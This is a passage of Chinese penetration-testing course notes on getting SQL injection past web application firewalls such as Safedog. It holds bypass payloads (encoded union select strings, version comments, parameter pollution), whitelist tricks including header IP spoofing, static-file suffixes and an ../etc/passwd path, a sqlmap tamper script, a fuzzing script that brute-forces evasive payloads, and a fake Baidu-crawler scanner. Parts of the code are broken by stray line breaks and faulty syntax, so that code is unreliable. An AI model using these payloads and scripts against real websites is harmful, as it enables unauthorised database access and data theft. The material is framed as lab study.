http://10.9.9.201/sql.php/1.js?id=1
备注:Aspx/php只识别到前面的.aspx/.php后面基本不识别
方式三:url白名单
为了防止误拦,部分waf内置默认的白名单列表,如admin/manager/system等管理后台。只要url
中存在白名单的字符串,就作为白名单不进行检测。常见的url构造姿势

18.3 演示案例

https://www.yuque.com/samxara/swro13/naa086#J8bXP

  • Sqlilabs-Less38-堆叠注入(多语句)

  • WAF部署-安全狗,宝塔等waf搭建部署

  • 简要讲解安全狗,宝塔等防护waf策略规则

  • 简要演示安全狗bypass sqlinject防护规则

  • 实测简易CMS头部注入漏洞Bypass原理分析

  • 可以绕过安全狗
    SQL注入(P12-P19)_第104张图片

  • 安全狗匹配的时候匹配的是

  • 1/-1 union select 1,2,3#*/或1/&id=-1%20union%20select%201,2,3%23*/其中符号中起到注释作用,正常情况下没有执行,安全狗直接不管,但是参数污染导致接受的真实数据是-1 union select 1,2,3#*/能正常执行sql

  • 可以换提交方式来绕过

用来绕过安全狗waf
%23==》url编码==#
%0a==》url编码==》换行
%20==》url编码==》空格

用来分割语句的符号
/*!*/

原理
安全狗检测渗透脚本是采用整体验证,例如:unint select 这个整体
可以使用以上方法,使用unint/*!*/select可不触发waf

(补充)
数据库特性
%23x%0aunion%23x%0Aselect%201,2,3
%20/!44509union/%23x%0aselect%201,2,3
id=1/**&id=-1%20union%20select%201,2,3%23*/
%20union%20all%23%0a%20select%201,2,3%23

分析下句

%20union%20/*!44509select*/%201,2,3

SQL注入(P12-P19)_第105张图片

绕过了waf

SQL注入(P12-P19)_第106张图片

涉及资源:

堆叠注入详解 :https://www.cnblogs.com/backlion/p/9721687.html
关于【安全狗】在【phpstudy】中【无法找到apache服务名】的问题:https://blog.csdn.net/nzjdsds/article/details/93740686

19. SQL注入之SQLMAP绕过WAF

在攻防实战中,往往需要掌握一些特性,比如服务器、数据库、应用层、WAF层等,以便我们更灵活地去构造Payload,从而可以和各种WAF进行对抗,甚至绕过安全防御措施进行漏洞利用。
SQL注入(P12-P19)_第107张图片

19.1 绕过的方法-白名单

方式一:IP白奖单
从网络层获取的ip,这种一般伪造不来,如果是获取客户端的IP,这样就可能存在伪造IP绕过的情况。
测试方法:修改http的header来bypass waf
x-forwarded-for
x-remote-IP
x-originating-IP
x-remote-addr
x-Real-ip

方式二:静态资源
特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css等等),类似白名单机制,waf为了检测效率,不去检测这样一些静态文件名后缀的请求。
http://10.9.9.201/ sql.php?id=1
http://10.9.9.201/sql.php/1.js?id=1
备注: Aspx/php只识别到前面的.aspx/.php后面基本不识别

方式三:url白名单
为了防止误拦,部分waf内置默认的白名单列表,如admin/manager/system等管理后台。只要url中存在白名单的字符串,就作为白名单不进行检测。常见的url构造姿势:
http://10.9.9.201/sql.php/admin.php?id=1
http://10.9.9.201/sql.php?a=/manage/&b=../etc/passwd
http://10.9.9.201/../../../ manage/../sql.asp?id=2
waf通过/manage/"进行比较,只要uri中存在/manage/就作为白名单不进行检测,这样我们可以通过/sql.php?a=/manage/&b=../etc/passwd 绕过防御规则。

方式四:爬虫白名单
部分waf有提供爬虫白名单(各大浏览器的爬虫)的功能,识别爬虫的技术一般有两种:
1、根据useragent 
2、通过行为来判断
UserAgent可以很容易欺骗,我们可以伪装成爬虫尝试绕过。User Agent switcher (Firefox附加组件),下载地址:
https : //addons.mozilla.org/en-us/firefox/addon/user-agent-switcher/
payload

%23==》url编码==#
%0a==》url编码==》换行
%20==》url编码==》空格

%23x%0aunion%23x%0Aselect%201,2,3

%20union%20/*!44509select*/%201,2,3    /*!44509select*/:通过插入版本号(4.45.09),绕过检测机制
%20/*!44509union*/%23x%0aselect%201,2,3

id=1/**&id=-1%20union%20select%201,2,3%23*/    特殊符号

%20union%20all%23%0a%20select%201,2,3%23

有时注入语句没有问题,但是就是注入进不去,可能WAF检测了注入工具

  • sqlmap发的包带了自己的工具头
    SQL注入(P12-P19)_第108张图片

  • 判定方法一:WAF日志
    SQL注入(P12-P19)_第109张图片

  • 判定方法二:WAF防护规则
    SQL注入(P12-P19)_第110张图片

  • 判定方法三:抓包
    SQL注入(P12-P19)_第111张图片

  • 解决方法:

  • 思路一:采用salmap的随机agent头方法
    在这里插入图片描述

  • 思路二:采用搜索引擎的头
    在这里插入图片描述

  • 指定采用百度的头

SQL注入(P12-P19)_第112张图片
在这里插入图片描述

SQLMap说明

扩展一:有的WAF检测的是其他字段,可以使用burp抓包进行替换这个字段,来进行绕过。(只是修改一个)
扩展二:将注入语句生成txt文件,放在sqlmap目录下跑。(可以支持跑多个)

19.2 采用工具注入会被拉黑

  • 解决方法一:采用延时注入
    在这里插入图片描述

  • 解决方法二:采用代理池

案例演示

https://www.yuque.com/samxara/swro13/hs1a6b#aPdvS

FUZZ绕过脚本

#!/usr/bin/envpython

"""
Copyright(c)2006-2019sqlmapdevelopers(http://sqlmap.org/)
Seethefile'LICENSE'forcopyingpermission
"""

import os

from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY

__priority__=PRIORITY.HIGHEST

def dependencies():
	singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s"%(os.path.basename(__file__).split(".")[0],DBMS.MYSQL))

def tamper(payload,**kwargs):
    
#%23a%0aunion/*!44575select*/1,2,3
	if payload:
        payload=payload.replace("union","%23a%0aunion")
        payload=payload.replace("select","/*!44575select*/")
        payload=payload.replace("%20","%23a%0a")
        payload=payload.replace("","%23a%0a")
        payload=payload.replace("database()","database%23a%0a()")
	return payload

import requests,time

url='http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1'
union='union'
select='select'
num='1,2,3'
a={'%0a','%23'}
aa={'x'}
aaa={'%0a','%23'}
b='/*!'
c='*/'
def bypass():
	for xiaodi in a:
		for xiaodis in aa:
			for xiaodiss in aaa:
				for two in range(44500,44600):
					urls=url+xiaodi+xiaodis+xiaodiss+b+str(two)+union+c+xiaodi+xiaodis+xiaodiss+select+xiaodi+xiaodis+xiao
diss+num
					#urlss=url+xiaodi+xiaodis+xiaodiss+union+xiaodi+xiaodis+xiaodiss+b+str(two)+select+c+xiaodi+xiaodis+xia
odiss+num
					try:
						result=requests.get(urls).text
						len_r=len(result)
						if (result.find('safedog')==-1):
							#print('bypass url addreess:'+urls+'|'+str(len_r))
							 print('bypass url addreess:'+urls+'|'+str(len_r))
						if len_r==715:
                             fp = open('url.txt','a+')
                             fp.write(urls+'\n')
                             fp.close()
					except Exception as err:
						print('connecting error')
						time.sleep(0.1)
if__name__=='__main__':
	print('fuzz strat!')
	bypass()
    
    

伪造成百度爬虫脚本

import json
import requests

url='http://192.168.0.103:8080/'

head={
	'User-Agent':'Mozilla/5.0(compatible;Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)'
}
for data in open('PH1P.txt'):
    data=data.replace('\n','')
    urls=url+data
    code=requests.get(urls.headers=head).status_code
    print(urls+'|'+str(code))

sqlmap temper脚本使用教程
https://blog.csdn.net/qq_34444097/article/details/82717357

参考:

小迪安全:https://www.bilibili.com/video/BV1JZ4y1c7ro?p=6
0x00实验室:https://www.yuque.com/weiker/xiaodi/kdf52h
小迪安全笔记:https://www.yuque.com/samxara/swro13/wk5w9t

你可能感兴趣的:(小迪安全2020笔记,sql,数据库,安全,web安全)